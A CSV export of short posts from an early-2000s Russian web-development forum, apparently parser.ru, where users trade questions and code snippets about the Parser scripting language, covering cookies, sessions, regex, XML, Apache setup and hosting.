"3646","без / - тоже самое. [R=xxx] было в примере. Без него тоже не работает."
"3647","если вы совсем не поняли, что происходит,\
включите rewritelog, там подробно видно, что пришло, что с ним делали, что сделали, что получилось."
"3648","[code]\
^var[myvar;Сокол]\
^eq[^var[myvar];Сокол;[b]Совпадает[/b];Не совпадает]\
[/code]"
"3649","не даёт возможности помочь."
"3650","redactor, такое сообщение однозначно указывает на то, что в форме string, а не file.\
\
так может быть только если неправильный method или enctype.\
проверьте все буковки этих строк. перенаберите. \
если не поможет, больше подробностей."
"3651","совершенно ничего не поменял"
"3654","И вообще, я считаю защиту, у которой главная фича - что никто не знает - ужасной. :)"
"3655","а у меня выходит так, как написал\
,т.е.\
^var[myvar;Сокол]\
^eq[myvar;Сокол;Совпадает;Не совпадает]\
возвращает \"Не совпадает\"!!!\
То есть работает совсем не так, как должно,\
но только тогда, когда находится на высоком уровне вложенности."
"3656","Так, как ты пишешь - работать не может, потому, что работать не может никогда.\
\
Ты сравниваешь СТРОКУ 'myvar' со СТРОКОЙ 'Сокол', собственно не удивительно, что они не равны.\
\
Тебе, насколько я понял, надо сравнивать СТРОКУ 'Сокол' со строкой, лежащей в ПЕРЕМЕННОЙ ^var[myvar]"
"3657","Для 2-го:\
file.html\
---\
@something[]\
текст...\
^macro[something]\
---\
- Ошибка, макрос не найден. Это ладно, похоже на авторскую задумку.\
Но есть вообще непонятный вариант:\
file.html\
---\
@main[]\
^var[myvar;in_file.html]\
^macro[makefile]\
@body[]\
Тело\
---\
_macro.cfg\
---\
@main[]\
^var[myvar;in_macro.cfg]\
^var[myvar1;Ну хоть что-нибудь запиши сюда]\
@makefile[]\
myvar: ^var[myvar]\
myvar1: ^var[myvar1]\
^macro[body]\
---\
В результате получаем вот что:\
myvar: in_file.html\
myvar1: \
Тело\
\
Версия - windows nosql.\
\
"
"3658","извиняюсь, запутался\
\
^var[myvar;Сокол]\
^eq[^var[myvar];Сокол;Совпадает;Не совпадает]\
возвращает \"Не совпадает\"\
\
"
"3660","Почему то перестала работать ^date::now[].\
\
Выдает ошибку:\
\
contains illegal assignment attempt of date to MAIN class, use constructor body\
\
c:/www/proby.ru/htdocs/auto.p(126)\
\
exception.type=parser.runtime \
\
Работало же!"
"3661","Только не надо значение типа data пихать в тело страницы...\
\
$dt[^date::now[]]\
\
$dt.month"
"3662","Вот код, значица:\
\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"File\" name=\"f_file\">\
<input type=\"Submit\">\
</form>\
^if(def $form:f_file){\
	$myFile[$form:f_file]\
}\
<p>$myFile.name</p>\
[/code]\
\
Всё дело в том, что в Opera 6.03 он по каким-то причинам не срабатывает - не появляется имя файла :). Никто не сталкивался с таким поведением?"
"3665","Делаю так:\
\
файл cookies.p\
[code]\
@CLASS\
session\
\
@start[]\
^cookie_available[]\
\
@cookie_stat[]\
^if($cookie_is_on==1){\
Куки есть\
}{\
Кук нет\
}\
\
@cookie_available[]\
$cookie:available[\
	$.value[1]\
	$.expires[session]\
	]\
^if($cookie:available==1){\
	$cookie_is_on[1]\
	}{\
	$cookie_is_on[0]}\
[/code]\
\
Файл test.html\
[code]\
@USE\
sessions.p\
\
@main[]\
	$my_sess[^session::start[]]\
	^my_sess.cookie_stat[]\
[/code]\
\
Даже при выключеных куках пишет Куки есть. Проверял на разных браузерах.\
Ничего не понимаю :(\
\
Может надо делать как-то иначе?"
"3666","$response:location[/newpage/] оставляет в поле адреса старую ссылку. Например: я переадресуюсь со страницы oldpage на newpage, при этом переадресация происходит, а в IE address barе остается oldpage. И рефреш возвращает пользователя на oldpage.\
Это правильно или я что-то неправильно понял?"
"3668","Я бы весь код привел, да нельзя.\
Сделай себе 6 уровней вложенности ^if[], ^eq[], ^switch[]\
в каждой по нескольку циклов\
Потом на последний уровень помести"
"3670","для секретарш, которые новости пополняют ?\
ведь XML и секретарша - это как ... и ...\
\
Или в стоимость сайта входит стоимость курсов по HTML для офисных работников ? :)"
"3671","Дело в том, что куки реально будут записаны только при следующем запросе.\
\
Просто парсер позволяет сразу читать записаную куку - но фактически он читает не куку, а... то, что еще не передал и только собирается передать клиентскому броузеру.\
\
Т.е. ты реально сможешь определить есть-ли у него куки только после перегрузки странички...\
\
По коду...\
\
Если ты пишешь ^if($cookie_is_on==1){...}\
то присваивай числовые значения: $cookie_is_on(1)\
\
И значения в куках проверяй так:\
^if(^cookie:available.int(0)==1){...}\
или еще проще(т.к. у тебя тут только да/нет):\
^if(^cookie:available.int(0)){...}\
\
а то отгребешь ошибку, если кто-нить добренький запишет в куку перед походом к тебе не число..."
"3672","[code]\
^var[myvar;Сокол]\
^if[1==1;\
	^if[1==1;\
		^if[1==1;\
			^if[1==0;;\
				^if[1==1;\
					^if[1==1;\
						^eq[^var[myvar];Сокол;Совпадает;Не совпадает]\
					]\
				]\
			]\
		]\
	]\
]\
[/code]\
\
Это - работает.\
Экспериментировать придумывая какие-то бессмысленные примеры мне некогда и не интересно."
"3673","То скажу вот что:\
Считаю, что сажать секретаршу вбивать тексты - это все равно что доверить ей делать сайт. Вводить данные, которые тут-же отображаются не для одного/двух/трех человек должен подготовленый специалист.\
\
Далее: текст - это все равно набор каких-либо элементов: параграфов, выделенных слов, ссылок, картинок и д.р. Визуальные средства хороши, они скрывают он простого смертного расстановку <p>, <br /> и т.д., но... очень часто оказывается, что там где надо <p> этот редактор ставит <br /><br /> и наоборот...\
Так что я считаю, что человек, вводящий данные должен иметь представление о форматировании абзацев, о том, что такое картинки, жирный шрифт и т.д.\
\
Писать примитивный XML - несложно:\
[quot]\
<h>заголовок</h>\
<p>абзац один</p>\
<p>а это вообще <b>полный</b> абзац</p>\
[/quot]\
что тут сложного?\
\
При этом у того, кто осуществляет ввод данных есть на воружении инструменты, облегчающие это (их никто не отменял).\
\
Ктоме того, вводить XML - это не значит писать теги, в некоторых случаях, если мне надо, чтобы в этом блоке с данными кто-то вводил дату, я могу сделать так, чтобы выглядела эта дата как несколько селектов, или как каледнарик, а может еще как, но... хранится она будет все равно - как XML (пример грубый)\
\
Такое вот IMHO"
"3674","иначе вообще ничего работать не будет.\
И это лучше делать на Jscript(msxml 3+)\
\
Вот такие грабли.\
\
Но раз уж пошла такая пьянка, больше всего владеет информацией менеджер (корп. сайт), журналист (новостной и т.д.), и т.д.\
"
"3675","Причем парсером (попытка ^xdoc::create{} и ловля ошибок...)"
"3676","да, зря я сказал, надо было сперва код приукрасить...\
Но вот это точно не рботает\
http://www.parser.ru/forum/?id=3657"
"3677","1.\
@something[]\
текст...\
^macro[something]\
\
странно. то, что написано, называется бесконечной рекурсией - вызов макроса из себя самого без каких-либо условий... Или приведенный кусок не соответствует действительности.\
А ошибка может быть из-за отсутствия @main[] в file.html\
\
2.\
_macro.cfg\
---\
@main[]\
^var[myvar;in_macro.cfg]\
^var[myvar1;Ну хоть что-нибудь запиши сюда]\
\
А никто и не обещал, что в _macro.cfg будет автоматически исполняться макрос @main[] - для этого есть @autoexec[]. Следовательно, ^var[myvar1] - undef (или пустая строка). Все так и должно быть..."
"3678","За ответ на первый вопрос - спасибо%-)\
Но если макрос отграничить с помощью \
@end или другим макросом - он все равно не вызывается.\
Т.е. только так\
^macro[body]\
@body[]\
\
\
По второму вопросу: \
@autoexec[] в _macro.cfg тоже не выполняется, если из другого документа уже был выполнен @main[]\
\
"
"3679","1.\
Макрос не надо ограничивать. Он сам \"ограничится\" следующим макросом или концом файла.\
@main[]\
^macro[body]\
@body[]\
Тело\
\
У меня работает.\
\
2.\
@autoexec[] выполняется ДО @main[]\
тавой пример (с изменением @main[] на @autoexec[] в _macro.cfg) у меня работает."
"3680","Вот кусок лога, не поясните?\
[code]10.1.3.11 - - [05/Jul/2002:19:34:38 +0400] [www.server.ru/sid#8101464][rid#81a2034/initial] (3) [per-dir /usr/www/server.ru/news/] strip per-dir prefix: /usr/www/server.ru/news/1503 -> 1503\
10.1.3.11 - - [05/Jul/2002:19:34:38 +0400] [www.server.ru/sid#8101464][rid#81a2034/initial] (3) [per-dir /usr/www/server.ru/news/] applying pattern '^news/(\\d{4})' to uri '1503'\
10.1.3.11 - - [05/Jul/2002:19:34:38 +0400] [www.server.ru/sid#8101464][rid#81a2034/initial] (1) [per-dir /usr/www/server.ru/news/] pass through /usr/www/server.ru/news/1503\
[/code]"
"3681","Метод вызывается с передачей аргумента, который может принимать заранее определенные значения.\
Как потом проверить, то ли передано и задать default? Интересует в первую очередь наиболее быстрый способ, а во вторую — наименее ресурсоемкий.\
\
На ум приходят:\
\
1) [b]switch[/b]\
[code]\
^switch[$arg]{\
  ^case[val0;val1;val2;…valn]{}\
  ^case[DEFAULT]{$arg[val0]}\
}\
[/code]\
2) [b]if[/b]\
[code]\
^if($arg ne 'val0' ||\
    $arg ne 'val1' ||\
    $arg ne 'val2' ||\
    …\
    $arg ne 'valn'){$arg[val0]}\
[/code]\
\
Еще можно [b]match[/b]:\
[code]^if(!^arg.match[^^val0|val1|val2|…|valn^$]){$arg[val0]}[/code]\
или [b]try[/b] или другую экзотику, но имхо, сие явно медленнее.\
"
"3683","Господа!\
А пробовал ли кто скрестить MicroWeb (http://www.indigostar.com/microweb.htm) и PARSER (хотя бы второй)?"
"3685","Решил попробовать использовать Parser для обработки XML. Что-то не получается...\
Не работает даже пример из \"Урок 6. Работаем с XML\" \
Ошибка:\
\
[i]\
class is undefined\
xdoc\
\
.../article.html(2)\
\
exception.type=parser.runtime \
[/i]\
\
В документации ответа найти не смог (может плохо смотрел ?)\
"
"3687","что если в зависимости от переданых аргументов выполняется разный код, то ^switch[]{....}, если в зависимости от них берутся разные наборы данных - то ^hash[]... (не забываем про $hash._default)"
"3688","Подскажите тёмному как подключить модуль апача? CGI поставил, работает, хочу заменить на модуль, но как? Куда эту DLLшку совать и что в конфиге писатью"
"3690","после добавления записи в форум IE выполняет недопустимую операцию и закрывается весь и совсем. \
операционка XP, версия IE 6.0.2600 (дефолтный)"
"3693","Перед \"-->\" должен быть пробел"
"3694","В Парсере можно как-то создавать новый файл, а не сохранять копию уже какого-то существующего?\
\
Проблема в следующем.\
На сайте есть новости, выводятся по месяцам. Новости текущего месяца хранятся в this_month.html в виде простого текста с минимумом тегов (p, a href, etc). Я написал функцию автоматической архивации, но всё, что она может, это сохранять this_month.html в виде какого-нибудь 2002-06.html. Подправить же содержимое this_month.html с тем, чтобы выводился не чистый текст, а оформленный в стиле всего сайта. Не могу сделать так, чтобы в архивный файл записалось уже что-нибудь вроде:\
\
@section_title[]\
месяц такой-то\
\
@content[]\
здесь, собственно, содержимое this.html\
\
Была попытка сделать так:\
1) открыть this_month.html через, например, $news[^file::load[binary;/news/this_month.html]]\
2) сохранить содержимое в переменной $tmp[$news.text]\
3) подправить:\
\
$news.text[\
@section_title[]\
месяц такой-то\
\
@content[]\
$tmp\
]\
\
На что выдается: e:/program files/apache group/apache/htdocs/auto.p(132:1): parse error, expecting `']''  type: parser.compile\
При этом 132 сточка — это @section_title[]\
\
Если попробовать вообще хоть что-нибудь ввести в $news.text:\
$news.text[qwerty]\
\
то получается:\
\
e:/program files/apache group/apache/htdocs/auto.p(131): 'text' element can not be stored to file  type: parser.runtime\
\
В чем дело, и как можно сделать нормальный архив новостей?"
"3695","Вариант 1 (пример использования append):\
\
[code]\
$file_header[\
^@section_title^[^]\
месяц такой-то\
\
^@content^[^]]\
\
^file_header.save[/news/2002-06.html]\
$news_data[^file::load[text;/news/this_month.html]]\
$tmp[$news_data.text]\
^tmp.save[append;/news/2002-06.html]\
[/code]\
\
Вариант 2:\
[code]\
$news_data[^file::load[text;/news/this_month.html]]\
$tmp[$news_data.text]\
$tmp[\
^@section_title^[^]\
месяц такой-то\
\
^@content^[^]\
$news_data.text]\
^tmp.save[/news/2002-06.html]\
[/code]\
\
P.S. не проверял, мог ошибиться где-нить с синтаксисом...\
P.P.S. это нехороший вариант создания архива новостей..."
"3697","можно только с помощью БД"
"3699","http://www.parser.ru/forum/?id=2886"
"3702","Если ты о том, что сделать такую переменную, которая говорила-бы о том, есть-ли куки или нет - то... см. мой предыдущий месс. Определить, есть-ли куки или нет без перезагрузки страницы низя (если кто знает как можно - поделитесь)\
\
Что такое false в p3 я не очень знаю :)\
В принципе, можно сказать, что это результат выражения, в таком случае они тождественны\
^if(1==0){}{} === ^if(0){}{}"
"3703","^строка.int(0) - это преобраззование к числу.\
Особенность этого преобразования в том, что если в строке лежит пурга, которая не может быть преобразована, то парсер не матерится, а возвращает значение, которое ты указал в скобочках.\
\
Т.е. фактически это ^number[] из p2, только круче, т.к. есть возможность задать default и есть возможность работать не только с полями форм, но вообще с любыми строками...\
\
RTFM"
"3710","[code]\
sessions.p\
############\
\
\
@CLASS\
sessions\
\
@start[]\
# максимальный временной \"зазор\" между хитами в минутах после которого сессия закрывается\
$session_time_life[15]\
\
$current_session_id(^cookie:session_id.int(0))\
\
^if($current_session_id!=0){\
	^check_session[]             // хотя лучше бы сразу\
	^if($current_session_info){  // ^if(^check_session[])\
			^update_session[] \
			$session_stat[1]\
		}{\
			$session_stat[0]\
		}\
	}{\
	^void:sql{\
	insert \
		into sessions\
	set\
		 sessions_ip = '$env:REMOTE_ADDR',\
		 sessions_start = NOW()\
		}\
	$cookie:session_id[\
		$.value[^new_session_id[]]\
		$.expires[session]\
	]\
	}\
$result[1]\
#end @start[]\
\
\
@new_session_id[]\
$tmp_id[^int:sql{\
	select\
		LAST_INSERT_ID()\
	from\
		sessions}[$.limit(1) $.default{0}]]\
^if($tmp_id!=0){\
	$result[$tmp_id]\
}\
#end @new_session_id[]\
\
\
@check_session[]\
$current_session_info[^table::sql{\
	select\
		sessions_id,\
		sessions_ip,\
		sessions_start,\
		sessions_refresh\
	from\
		sessions\
	where\
		sessions_id = '$current_session_id' AND\
		sessions_ip = '$env:REMOTE_ADDR' AND\
		sessions_refresh BETWEEN 'NOW()' - INTERVAL $session_time_life MINUTE AND 'NOW()'}]\
#end @check_session[]\
\
\
@update_session[]\
^void:sql{\
UPDATE\
	sessions\
SET\
	sessions_refresh = NOW()\
WHERE\
	sessions_id = $current_session_id}\
\
\
\
test.html\
##########\
\
@USE\
sessions.p\
\
\
@main[]\
^MAIN:dbconnect{\
$my_session[^sessions::start[]]\
^if($my_session.session_stat == 1){Ok}\
}\
\
[/code]\
\
Выводит\
[code]\
string method not found\
session_stat\
\
z:/t/../test.html(7)\
[/code]\
\
И чего же ему надо-то?\
"
"3711","исправлю/сообщу"
"3712","проблемы? [техподробности почтой]"
"3713","Дело в том, что у тебя конструктор ::start[] возвращает данные типа string ($result[1]).\
$my_session становится равным строке \"1\", у которой, естественно, нет метода .session_stat.\
\
Мораль - убери из конструктора $result[1]"
"3714","Первый вызов конструктора...\
У тебя тут\
^if($current_session_id!=0)\
false, соответственно выполняется второй блок, и в нем ты ничего не присваиваешь переменной $session_stat, а только выполняешь запись кук."
"3720","Наоборот, к примеру <br> заменить на возврат каретки..."
"3722","[code]\
$a[test]\
^a.match[s][g]{\
}\
[/code]\
получаем:\
[code]\
te\
t\
[/code]"
"3723","Не очень по программерски, но работает."
"3724","Я загружаю текстовый файл и пытаюсь в нем убрать теги, но match выпадает на ошибку:\
(void) not a method or junction, can not call it\
[b]match[/b]\
А код такой.\
[code]\
$text1[^file::load[text;/parser3/match/text/1.txt]]\
^text1.match[</p><p>]{\
}\
[/code]"
"3726","В таком случае выходит внутренняя ошибка сервера."
"3727","Никто не знает, что ты  там на самом деле написал..."
"3728","Я вот что вписал:\
[code]\
$text1[^file::load[text;/parser3/match/text/1.txt]]\
$text1.text.match[</p><p>]{\
}\
[/code]\
\
Но он все равно ругается на эту запись...\
И на: \
[code]\
^text1.text.match[</p><p>]{\
}\
[/code]\
тоже, а очень нужно из текста теги выкинуть, как тут быть?"
"3729","т.к. вызов метода - ^\
\
то, что он ругается на ^text1.text.match[</p><p>]{} - тоже понятно, т.к. у татча 3 параметра, надо так:\
^text1.text.match[</p><p>][g]{} (RTFM)\
\
Но и это работать не будет, т.к. если я что-либо помню из регулярных выражений / надо эскейпить: \\/"
"3730","Существует ли возможность инициализировать дату числом, содержащим системное время, например, возвращаемое перловой функцией time.  Т.е. из числа 1017770689 получить 2 апреля 2002 21:04:49. Может как-то поизвращаться с числовым значением объекта класса date ?"
"3731","т.е. примерно так :\
[code]\
@class\
test\
@auto[]\
$mytest[5]\
@load[]\
...\
@show[]\
$mytest\
-----------------------\
@use\
test.p\
$a[^test::load[]]\
^a.show[]\
[/code]\
\
ан нет, в auto[] не присваевается 5 !"
"3732","если ты создаешь обьект класса [b]не с помощью конструктора auto[/b] или вызываешь его методы статически."
"3733","[quote]\
Определение метода auto не обязательно, однако крайне полезно - он выполняется автоматически при загрузке класса как статический метод (так называемый статический конструктор). Используется для инициализации статических полей (переменных) класса.\
[/quote]"
"3734","сабж!"
"3735","но ты то используешь вызов динамических методов. А вот про статические меттоды я в пред. сообщении похоже наврал :)"
"3737","Да, я понимаю, что $form:field - статика,\
а $form.field - динамика, но в чем соль ?\
\
Неужели все для того, что бы предотвратить конфликт имен ?\
\
Почему у меня не может @auto[] вызываться при создании экземпляра объекта ?"
"3738","а ваше obd"
"3739","[quote]\
Динамический метод - код выполняется в контексте объекта (экземпляра класса). \
\
Статический метод - код выполняется в контексте самого класса, то есть метод работает не с конкретным объектом класса, а со всем классом (например, классы MAIN, math, mail) \
[/quote]\
думаю это понятное объяснение."
"3741","subj. "
"3744","Миша продемонстрировал как правильно использовать оператор ^cache[] :)"
"3746","Поясните для человека, который совсем в танке - что мне качать, если я не знаю, что стоит на сервере у провайдера? Например, я хостюсь на narod.ru (не реклама)..."
"3747","Есть ли какие-то тестовые задания? Как определяется уровень программиста? С кем общаться(как я понимаю, не с Артемием) ?"
"3748","И всеже как поместить в заменяемое выражение перевод строки, если ставиь \\n то парсер ее прописывает как текст, хотя искать по \\n он может?"
"3749","...она может еще много чего (отсылаю к ней)\
\\d, \\t, \\s, \\D, \\S, \\W, \\w ... RTFM\
\
А если тебе надо ставить перевод строки - то и вставляй перевод строки или ^#10 (кажется так, смотрите доку по парсеру)"
"3750","Заменяет возвращая как текст..."
"3751","1. Написать в Студию письмо, в котором аргументированно рассказать, почему ты круче других.\
2. Если письмо понравится, придется доказывать на собеседовании.\
\
Куда и как писать, а также кто Студии нужен сказано в разделе [url=http://www.design.ru/about/vacancy/]вакансии[/url]"
"3752","Только вызывать переменную надо как $CLASS:mytest или $test:mytest - смотри, как тебе удобнее.\
\
Статический - значит доступный во всех экземплярах объекта."
"3753","[code]\
@replaceBR[str]\
$result[^str.match[\\n][g]{<br>}]\
\
@unreplaceBR[str]\
$result[^str.match[<br>][g]{\
}]\
[/code]"
"3754","[code]\
$t[test]\
^t.match[s][g]{^#0A}\
[/code]\
\
(не помнил ни синтаксиса, ни в какой системе писать DEC/HEX - поэтому и отправлял к доке, но доки в наше тяжелое время кажется никто не читает...)"
"3755","я бы с удовольствием, но... в коде почти нету комментариев... а без них мало кто разберется...\
\
вот вернусь из отпуска и все будет :)"
"3756","Спасибо!\
Первый вариант мне помог, только пришлось его немного подправить, иначе в строке ^@section_title^[^] парсеру нужна какая-то скобка.\
\
Пришлось в один файл пихать хеадер, откуда потом его загружать, сохранять под новым именем и в последний файл уже дописывать текст.\
\
Насчет нехорошего варианта. Я так понимаю, хороший -- это с БД? ;)\
Но у меня нет возможности использовать БД, во-первых, а во-вторых, с переносимостью, как мне кажется, могут возникнуть проблемы. С файлом -- раз и перенес, куда надо."
"3757","С одной стороны перечислены дизайнеры и менеджеры, а с другой стороны написано: \"Напишите, что вы умеете делать за деньги.\"\
\
Так стоит ли писать специалисту по скриптингу?"
"3758","По-моему, там все очень четко сказано."
"3759","то тебе уже ничего не поможет... Ищи нормального хостера, с поддержкой CGI и, желательно, баз данных. Это дело нынче дешевле грязи.."
"3760","почем нынче грязь? :-)"
"3761","лучше всего использовать для работами над скриптованными проектами? Посоветуйте...\
\
И еще: есть где-нибудь в сети наработанные библиотеки для парсера? Ну там: форумы, гостевые, менюшки и т.п. Или каждый исключительно самостоятельно все пишет?"
"3762","вроде есть... но говорят глючный немного..."
"3764","Лично я пользуюсь Aditor'ом (могу прислать настройки).\
Большинство (ИМХО, ИМХО и еще раз ИМХО) здесь сидит на UltraEdit'е.\
Вот ссылка на его wordfile:\
http://egorov2000.narod.ru/download/WORDFILE.zip"
"3765","Тексты (в основном законодательные акты) все в XML сейчас, но их становится довольно много и вывод оглавления начинает прилично тормозить (да и ресурсов кушать). Раскладывать по каталогам не особо не получается по разным причинам.\
\
Хочется знать, стоит ли засунуть этот XML в SQL (каламбур!:)) при условии [b]не[/b]использования хранимых процедур для обработки (т.е. базы типа MySQL).\
Если быть конкретным, интересует, что будет сильнее грузить сервер -- построение оглавления из кучи файлов или из БД.\
\
Может быть есть более интересный выход?"
"3766","я использую:\
\
Dreamweaver MX \\ TopStyle 3 pro \\ EmEditor (очень маленький)\
\
а библиотек нету. им практически никто кроме как дизайн.ру не пользуется."
"3770","Я неправильно символ переноса строки писал: \
&#0A\
а надо\
^#0A"
"3772","А так у меня не пошло."
"3773","Да просто в хидере страницы есть ячейка с бэкграундом из картинки и вложенной таблицей-меню (она генерится). Вот тут-то и вылазят глюки в Шкафу, а в Опере, Ишаке и Мозиле - все нормально."
"3775","а селлинг там к какому PARSER`y ?"
"3776","Создаём на серваке папку. Говорим Апачу обрабатывать Парсером файлы с расширением txt в этой папке. Кладём туда price.txt в котором есть макросы построения прайс-листа по информации из БД. Теперь при обращении ./price.txt выдаём клиенту обычный txt.\
Но не всё так просто :( Парсер сам отправляет заголовок, что это html.\
Не подскажете, как и какой заголовок ему написать чтобы работало как задумано?"
"3779","[code]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/plain]\
	$.charset[$response:charset]]\
	\
Привет\
[/code]"
"3780","...то в пять баксов в месяц уложишься спокойненько..."
"3782","тем что сказали что free это Г.?"
"3784","В том то и дело, что ничем... :)\
Ну, допустим (не забываем, что я - чайник, который \"хочет и рад бы\"), что я перехостился на http://www.users.ru\
ПЛАН \"МИНИМУМ\"\
Поддержание ДНС: бесплатно.\
Дисковое пространство: 40 мегабайт.\
Личная cgi-bin директория: есть.\
Доступ к информации по протоколам: http, ftp, pop3.\
Возможность исполнять скрипты, написанные на: php4, perl(4-5), c++.\
Что еще мне нужно узнать?\
\
\
\
"
"3787","<spacer type=block width=3 height=3>\
Частенько наблюдаю эту комбинацию в коде студийных Лебедевских сайтов, но так и не пойму что это и чего делает ведь в HTML такого тега нет."
"3788","Вы, силь ву пле, значить, (с) гляньте на повыше мой \"_ответ\" - лень еще раз все писать, а там, на самом деле, вопрос :)"
"3790","This Netscape specific attribute can be used to include hard coded white space in a document."
"3792","что \
\
A trial version of TopStyle Pro 3.0 is not available at this time.\
\
так что надо покупать :)"
"3793","Я лично не ориентируюсь под броузеры которые заведомо глючные. \
Нетшкаф плохо поддерживает CSS, Опера глючно работает с формами, и поэтому я доверяю только IE 6 и Галеону, на коих я все тестирую. Хотя говорят Mozila тоже неплоха..."
"3794","Я понимаю, что уровень отдельных сообщений на форуме заставляет опускаться на уровень пользователя и говорить на \"их\" языке, но прежде чем написать сообщение, я пробовал найти :)\
Получил то же что и ты. \
\
Но все равно, спасибо за ответ :)))"
"3796","и чего же ты хотел от нас если разработчики не дают его поюзать? Можно конечно дать совет украсть, но форум не для этого предназначен :)"
"3797","Я FAR использую.\
\
Библиотеки - http://www.parser.ru/examples/ и архив форума. В архиве можно найти очень интересные вещи, например преобразование в нормальный вид MySQL'ных дат.\
\
Кроме того, если интересно, свою версию форума на парсере я на http://titov.pp.ru/forum/ выложил."
"3800","Раньше в Parser 2 был Remove, а сейчас что использовать?"
"3802","Можешь хранить все в файлах - пихание в базу не всегда бывает оправдано (для того, чтобы просто пихнуть, базу ставить не надо), да и, скорее всего, механизмы работы с такими файлами уже отлажены, а для базы их еще делать придется - или я не прав?\
Тогда просто один раз \"пробегись\" по всем файлам и сделай один файл с оглавлением (XML или tab-delimited - что удобнее) - тормоза пропадут ;-)\
\
Если тебе нужен реальный поиск по документам, можешь и в базу пихнуть, а можешь натравить на эти файлы mnogoSearch (это вариант, если не пихать в базу).\
\
В общем, мое мнение таково, если видишь хоть какой-то плюс от использования базы - ставь и пользуй. Иначе - оставь все как есть."
"3803","Продублирую, чтоб проще было (но впредь - искать в форуме):\
[code]\
### удаление строк из таблицы\
# результат - таблица\
# tbl - имя таблицы\
# from - начиная с какой строки удалять (!!! нумерация строк с 1)\
# count - сколько строк удалять\
# пример: $mytable[^remove[$mytable;1;10]] - удалит первые 10 строк\
@remove[tbl;from;count]\
^if(def $tbl){\
    $result[^tbl.select((^tbl.line[]<$from) || (^tbl.line[]>=$from+$count))]\
}\
[/code]"
"3804","Допустим (не забываем, что я - чайник, который \"хочет и рад бы\"), что я перехостился на http://www.users.ru\
  \
Дисковое пространство: 40 мегабайт.\
Личная cgi-bin директория: есть.\
Доступ к информации по протоколам: http, ftp, pop3.\
Возможность исполнять скрипты, написанные на: php4, perl(4-5), c++.\
\
Что еще мне нужно узнать?"
"3806","наверное уже все мозги спиртом вымад :( \
но когда я прописываю парсер в апаче он мне ошбку выдает , когда я нтмл открываю :( \
от чего это ?? "
"3808","кстати, я без понятия- что такое mod_env :)\
Просветите? Тем не менее - я связался с тамошним \"поддерживателем\", его ответ был краток и информативен:\
[quote]Можно. Скачайте версии парсера для FreeBSD и установите по инструкции[/quote]\
(искренне) Спасибо, было приятно с Вами пообщаться. А то, глядишь, еще будет. :)\
ЗЫ \"Вы\" - здесь не признак снобизма. Просто такой оборот речи :)"
"3812","Забил - клиент оказывается наотрез отказался(вот нагородил ;) ) от написания тех. задания: \"на ваше усмотрение\".\
а на мое: Opera, IE, Mozilla $)"
"3813","Симптому плз, и не на виртуальном ли у тебя все это?"
"3814","фишка классная, особенно то, что у нее есть регулируема ВЫСОТА, в отличие от:\
<td>&nbsp;</td> "
"3815","Почему может не работать такая конструкция? (не сравнивает разделы с местонахождением)\
^if($razdel.uri eq $request:uri){ \
   <td bgcolor=\"#FFCC33\">  \
   <nobr>$razdel.name</nobr> \
   </td> \
}{ \
   <td>  \
   <a href=\"$razdel.uri\" title=\"$razdel.title\"> <nobr>$razdel.name</nobr></a> \
   </td> \
} \
Причины в операторе \"eq\" или в другом?"
"3816","Довольно просто:\
[code]\
#загружаем таблицу\
$t[^table::load[/table.cfg]]\
#удаляем третью строку\
$t[^t.select(^t.line != 3)]\
[/code]."
"3818","Содержание файл razdeli.cfg:\
\
razdeli_id   name     uri     title\
1            Главная   /      Главная\
2            Новости   /news/ Новости\
...\
\
я проверил uri, он совпадает с uri раздела, по идеи он недолжен по конструкции ставить ссылку, а главное так с каждым разделом.\
Посоветуйте может есть другая конструкция для сверки местонахождения с подстановкой ссылки?"
"3819","[code]\
$p[xxxx]\
$f[^file::exec[script.pl;;$p]]\
[/code]\
\
и получаю на STDERR\
\
[quote]\
Can't open perl script \"script.plxxxx\": No such file or directory\
[/quote]\
\
Что не так?"
"3820","^if(in \"/news/\"){ \
   Мы в разделе новостей \
}{ \
   <a href=\"/news/\">Новости</a> \
} \
"
"3821","с первым все ок прошло\
ну думаю - классная штука и полезная - пойдем далее\
читаю второй урок\
делаю auto.p в точности как описано\
делаю index.html\
и начинаю соображать а чтож там написать\
\
пишу:\
^main[]\
результат:\
call canceled - endless recursion detected\
main\
\
читаю снова и снова и снова\
пробую и ^navigation[]\
и\
^header[]\
^body[]\
^footer[]\
\
не катит нифига :(\
\
не могу понять что писать в index.html\
или выспаться надо :)\
я так понял что в html-ках пишутся вызовы и они начинаются с ^\
"
"3822","В 'html-ках' пишутся не вызовы, а как раз наоборот -- то, что будет вызвано в auto.p (в данно случае). Еще раз:\
\
Из auto.p ты вызываешь функцию: [b]^body[][/b],\
которая определена в index.html: [b]@body[][/b]\
\
Is it clear?\
\
В auto.p пишем:\
[code]\
@main[] \
^header[] \
^body[] \
^footer[] \
\
@header\
<html>\
  <title>Test</title>\
  <body>\
  …\
\
@footer\
  …\
  </body>\
</html>\
[/code]\
\
В index.html\
[code]\
@body\
<h2>Hello, World!</h2>\
[/code]\
\
Радуемся... ;)"
"3823","вот попробовал - по идее из auto.p первой отрабатывает процедуру main в которой в свою очередь определены три строки header (он ниже расшифрован) body (по твоим словам расшифровывается в index.html) и footer (также присутствует в auto.p)\
я пока не понимаю смысла делать такие рекурсии, но суть не в этом - ниже результаты моих экспериментов\
но мне бы хотелось всеж разобрать конкретно именно второй урок документаци\
вообщем парюсь дальше\
\
auto.p:\
 @main[]\
 ^header[]\
 ^body[]\
 ^footer[]\
\
 @header[]\
 <html><head><title>Test 2</title></head>\
 <body>\
\
 @footer[]\
 $now[^date::now[]]\
 <font size=\"-3\"><center>Powered by                               Parser3<br>1997-$now.year</center></font></body></html>\
\
index.html:\
 @body[]\
 <h1>Welcome</h1>\
\
результат:\
 'main' method not found\
 exception.type=parser.runtime \
\
index.html:\
 @body\
 <h1>Welcome</h1>\
\
результат:\
 index.html(3:1): 'body' invalid special name. valid names are  'CLASS', 'USE' and 'BASE'\
 exception.type=parser.compile\
"
"3824","[code]\
^if($request:uri eg \"$razdel.uri\"){ \
<td bgcolor=\"#FFCC33\"> \
<nobr>$razdel.name</nobr> \
</td> \
}{ \
<td> \
<a href=\"$razdel.uri\" title=\"$razdel.title\"> <nobr>$razdel.name</nobr></a> \
</td> \
}\
[/code]"
"3825","Ты параметры скрипта правильно поставил?\
-rwxr-xr-x"
"3826","Тогда правильнее обе заключать в кавычки:\
\
^if(\"$request:uri\" eq \"$razdel.uri\")\
{ \
}\
{ \
}\
"
"3827","иначе (если $request:uri в кавычках) нифига не работает"
